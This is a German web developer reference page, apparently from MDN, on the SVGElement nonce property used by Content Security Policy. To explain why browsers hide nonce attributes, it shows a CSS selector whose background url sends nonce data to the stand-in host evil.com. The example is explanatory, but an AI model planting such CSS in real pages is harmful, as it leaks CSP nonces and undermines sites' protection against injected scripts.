SVGElement: nonce Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.
Die nonce
-Eigenschaft des SVGElement
-Interfaces gibt die Nonce zurück, die von der Content Security Policy verwendet wird, um zu bestimmen, ob ein bestimmter Abruf erlaubt wird.
Wert
Ein String; die kryptografische Nonce oder ein leerer String, wenn keine Nonce gesetzt ist.
Beispiele
Abrufen eines Nonce-Werts
In der Vergangenheit unterstützten nicht alle Browser das nonce
IDL-Attribut, daher war ein Workaround notwendig, indem getAttribute
als Fallback verwendet wurde:
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");
// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`
Neuere Browserversionen verbergen nonce
-Werte, die auf diese Weise zugegriffen werden (ein leerer String wird zurückgegeben). Die IDL-Eigenschaft (svg['nonce']
) wird der einzige Weg sein, um auf Nonces zuzugreifen.
Das Verbergen von Nonces hilft zu verhindern, dass Angreifer Nonce-Daten über Mechanismen abgreifen, die Daten aus Inhaltsattributen erfassen können, wie z.B. diesem CSS-Selektor:
svg[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
Specification |
---|
HTML Standard # dom-noncedelement-nonce |
Browser-Kompatibilität
BCD tables only load in the browser
Siehe auch
HTMLElement.nonce
eine ähnliche Methode für HTML-Elemente.nonce
globales Attribut- Content Security Policy
- CSP:
script-src